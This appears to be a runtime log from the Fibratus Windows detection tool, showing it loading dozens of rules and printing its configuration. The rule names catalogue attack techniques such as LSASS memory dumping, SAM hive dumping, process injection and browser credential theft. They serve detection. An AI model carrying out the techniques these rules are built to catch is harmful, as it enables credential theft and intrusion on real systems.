level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:48:09+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-11T17:48:09+01:00 level=info msg=bootstrapping with pid 15440. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T17:48:09+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ use-template=>true content-type=>text/html to=>[] enabled=>false port=>25] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-thread=>true stack-enrichment=>true buffer-size=>512 min-buffers=>16 enable-vamap=>true enable-fileio=>true enable-dns=>false flush-interval=>1s enable-threadpool=>false enable-net=>true enable-registry=>true enable-handle=>false enable-mem=>false enable-image=>true enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info formatter=>text max-size=>100 log-stdout=>true max-backups=>15 max-age=>0] + output ......................... [ eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ routing-key=>fibratus delivery-mode=>transient tls-insecure-skip-verify=>false exchange=>fibratus vhost=>/ enabled=>false exchange-type=>topic durable=>false url=>amqp://localhost:5672 timeout=>5s passive=>false] http=>[ method=>POST enabled=>false timeout=>5s endpoints=>[] serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false] elasticsearch=>[ healthcheck-interval=>10s template-name=>fibratus flush-period=>1s healthcheck-timeout=>5s enabled=>false timeout=>5s gzip-compression=>false sniff=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 trace-log=>false index-name=>fibratus healthcheck=>true]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] excluded-files=>[] skip-files=>false skip-mmaps=>false skip-allocs=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s enabled=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-12-11T17:48:10+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:48:12+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:48:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T17:48:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:48:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:49:09+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_script_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:49:09+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-11T17:49:09+01:00 level=info msg=bootstrapping with pid 14736. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T17:49:09+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ content-type=>text/html use-template=>true enabled=>false to=>[] port=>25] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-dns=>false enable-image=>true enable-fileio=>true buffer-size=>512 min-buffers=>16 enable-audit-api=>true enable-vamap=>true enable-registry=>true enable-threadpool=>false flush-interval=>1s max-buffers=>36 enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-mem=>false enable-handle=>false enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info log-stdout=>true max-backups=>15 max-age=>0 max-size=>100] + output ......................... [ elasticsearch=>[ flush-period=>1s gzip-compression=>false timeout=>5s sniff=>false enabled=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 index-name=>fibratus healthcheck=>true trace-log=>false healthcheck-interval=>10s healthcheck-timeout=>5s template-name=>fibratus] eventlog=>[ level=>info enabled=>false] http=>[ endpoints=>[] tls-insecure-skip-verify=>false method=>POST enable-gzip=>false timeout=>5s serializer=>json enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ vhost=>/ exchange-type=>topic url=>amqp://localhost:5672 routing-key=>fibratus delivery-mode=>transient durable=>false exchange=>fibratus passive=>false timeout=>5s tls-insecure-skip-verify=>false enabled=>false]] + pe ............................. [ read-sections=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true scan-timeout=>10s skip-registry=>false skip-mmaps=>false excluded-procs=>[] skip-files=>false enabled=>false excluded-files=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T17:49:10+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:49:12+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:52:43+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T17:52:43+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:52:43+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:57:54+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T17:57:54+01:00 level=info msg=bootstrapping with pid 17288. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T17:57:54+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] mail=>[ use-template=>true content-type=>text/html port=>25 enabled=>false to=>[]] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-net=>true buffer-size=>512 enable-fileio=>true enable-image=>true stack-enrichment=>true enable-mem=>false flush-interval=>1s min-buffers=>16 max-buffers=>36 enable-vamap=>true enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-dns=>false enable-handle=>false enable-threadpool=>false enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info formatter=>text max-backups=>15 max-age=>0 max-size=>100 log-stdout=>true] + output ......................... [ amqp=>[ enabled=>false passive=>false tls-insecure-skip-verify=>false exchange-type=>topic timeout=>5s routing-key=>fibratus vhost=>/ exchange=>fibratus durable=>false url=>amqp://localhost:5672 delivery-mode=>transient] elasticsearch=>[ bulk-workers=>1 template-name=>fibratus gzip-compression=>false trace-log=>false servers=>[http://127.0.0.1:9200] sniff=>false index-name=>fibratus enabled=>false healthcheck-interval=>10s healthcheck=>true timeout=>5s healthcheck-timeout=>5s flush-period=>1s] http=>[ enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] method=>POST serializer=>json enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses 